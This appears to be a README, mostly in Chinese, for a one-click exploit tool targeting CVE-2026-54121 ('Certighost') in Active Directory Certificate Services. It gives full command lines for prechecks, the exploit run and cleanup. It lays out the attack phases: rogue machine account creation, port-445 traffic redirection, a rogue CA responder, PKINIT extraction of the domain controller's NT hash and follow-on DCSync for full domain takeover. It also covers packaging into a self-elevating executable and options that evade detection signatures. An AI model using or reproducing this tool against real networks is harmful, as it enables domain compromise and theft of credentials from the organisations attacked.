
One-click exploit for CVE-2026-54121 (Certighost) targeting AD CS certificate identity spoofing. Automates machine account creation, traffic redirect, rogue CA, PKINIT, and NT hash extraction for domain compromise.
| 补丁 | 说明 |
|---|
--redirect | 内置 WinDivert 重定向器(445 → --lsa-port,窄域过滤:仅劫持 listener IP 的流量),随进程起停、退出自动恢复 445。替代官方 PortBender(其官方产物为 CS 专用 32 位反射 DLL,无法独立运行) |
--lsa-port | rogue LSA/SMB 监听端口参数化(默认 445;--redirect 时默认 8445) |
os.geteuid 守卫 | 上游 root 检查在 Windows 上崩溃 → hasattr 守卫 + Windows 端口提示 |
| 就绪检查参数化 | 上游硬编码 port_ok(127.0.0.1, 445) → args.lsa_port |
| PEP 723 头 | uv run certighost.py ... 直接跑,依赖自动解析(含 git-master impacket),零环境污染 |
--new-computer-name | 建号自定义名称(避开 GHOST* 检测特征) |
--new-computer-pass | 建号自定义密码(须过域密码策略) |
random.randbytes polyfill | impacket git-master 在 smbserver 导入期使用 3.9+ API;3.8 档需要,os.urandom 实现 |
| 收尾即退 | GGWP 后 flush + os._exit()(根治 impacket 非 daemon 线程导致的分钟级挂起) |
| 退出码语义化 | 0 成功 / 1 失败 |
<dc>.hash.txt 落盘 | 域控机器账户 NT 哈希写入文件(仅一行 name:lm:nt) |
① 预检(只读,确认 CA 与利用前提):
uv run check_ca.py -d bingo.com -dc-ip 192.168.16.144 -u zhaolei -p 'pass'
输出 Enterprise CA 列表、Machine 模板签发与注册权限(需要 Domain Computers 有 Enroll)。
CA 机器上另查 chase 标志:certutil -getreg policy\EditFlags(应有
EDITF_ENABLECHASECLIENTDC;Server 2016 默认安装实测开启)。
② 一键利用(Windows,管理员):
uv run certighost.py -d bingo.com -u zhaolei -p '[email protected]' \
--dc-ip 192.168.16.144 --listener <本机可达IP> --redirect \
--new-computer-name MACH$ --new-computer-pass 'Your@Pw123!'
产物三件套(自动落盘到运行目录):
| 文件 | 内容 |
|---|---|
<dc>.pfx | 域控身份证书(PKINIT 材料) |
<dc>.ccache | Kerberos 票据缓存 |
<dc>.hash.txt | 域控机器账户 NT 哈希(仅 name:lm:nt 一行) |
③ 清理(删除建号):
uv run cleanup_ghost.py -d bingo.com -dc-ip 192.168.16.144 -u administrator -p 'pass' --prefix MACH
| 参数 | 说明 |
|---|---|
-d / -u / -p / -H | 域 / 低权用户 / 密码 / NTLM 哈希 |
--dc-ip | DC 地址(必填) |
--listener IP | rogue 监听器 IP(多网卡务必显式指定) |
--redirect | Windows 核心:内置 WinDivert 445 重定向(需管理员 + pydivert) |
--lsa-port N | rogue LSA 端口(--redirect 时默认 8445) |
--new-computer-name | 建号自定义名称(自动补 $) |
--new-computer-pass | 建号自定义密码(与 existing 路径互斥) |
--computer-name/--computer-pass/--computer-hash | 免 MAQ:复用已控制的机器账户 |
--target-san DC01$ | 指定冒充目标(默认自动发现 DC) |
--template | 证书模板(默认 Machine) |
--ca / --ca-ip | 手工指定 CA |
--debug | 协议阶段全追踪 |
Phase1 低权用户建机器账户(MAQ 路径自动 / --new-computer-* 自定义 / --computer-* 复用已有)
Phase2 [Windows] 内置 WinDivert 重定向器:listener_ip:445 -> :lsa_port
窄域过滤(仅该 IP),改写后包脱离过滤器 = 无重注入循环;句柄随进程关闭
Phase3 rogue 服务器:LDAP:389 + LSA/SMB:lsa_port(应答 cdc/rmd chase,喂 DC 身份数据)
Phase4 以机器身份提交证书请求(Machine 模板),CA 回连 rogue → 签发 DC 身份证书
Phase5 PKINIT → KDC 在 PAC 中返回 DC 机器账户 NT 哈希 → 提取并写入 .hash.txt
Phase6 (后续)secretsdump DCSync → krbtgt → 全域接管;cleanup_ghost 清理建号
Linux 用法不变(root 直绑 445/389,不带 --redirect)。
攻击链的哈希提取走 PKINIT → PAC → NT 哈希,不是 DCSync:
拿到哈希后用 secretsdump 做 DCSync 是第二步操作,不是哈希的来源。
# PowerShell 7
./build_exe.ps1 # 默认档 (Win10 / Server 2016+)
./build_exe.ps1 3.10 # 兼容档 (Win8.1 / Server 2012 R2+)
./build_exe.ps1 legacy # 遗留档 (Win7 SP1 / Server 2008 R2 x64)
产物 dist\certighost_x64.exe:19-27MB(随档位)、--uac-admin 自提权、零依赖,
脚本自动输出 SHA256 校验和。
需要 python.org 官方 CPython 3.8.10 安装在以下路径(最后一个支持 Win7 内核的 官方二进制构建,不依赖新 UCRT API):
D:\网安相关\Tools\Python\cpython-3.8.10-x64\
安装命令(静默、不写 PATH、不装启动器):
python-3.8.10-amd64.exe /quiet InstallAllUsers=0 TargetDir=D:\网安相关\Tools\Python\cpython-3.8.10-x64 PrependPath=0 Include_launcher=0
同时钉 PyInstaller==5.13.2(6.x bootloader 不支持 Win7 内核)和 cryptography==38.0.4(Rust 轮子从 38.x 后开始要求 Win10+),均已在脚本中固化。
| 档位 | 系统实机 | 全链 | 备注 |
|---|---|---|---|
| 默认 | Win11 | ✅ | |
| 兼容 3.10 | Win11 / Win10 / Server 2012 R2 | ✅ ×3 | 含 WinDivert 实机 |
| 遗留 legacy | Win11 / Server 2008 R2 x64 | ✅ ×2 | 官方 3.8.10 + PyInstaller 5.13.2 |
注意 PyInstaller+impacket 是杀软特征重灾区,落地前自行评估。
ciphertext integrity failure:观察到一次,重试即愈certighost.py 主 exploit(上游 + Windows 原生化补丁 + PEP 723)
certighost_redirect.py 自研 WinDivert 445 重定向器(pydivert;--selftest/--e2e 自测)
check_ca.py 预检:CA/模板/注册权限/chase 标志(只读)
cleanup_ghost.py 收尾:删除建号
build_exe.ps1 PyInstaller 单文件打包(pwsh7,三档矩阵,自动 SHA256)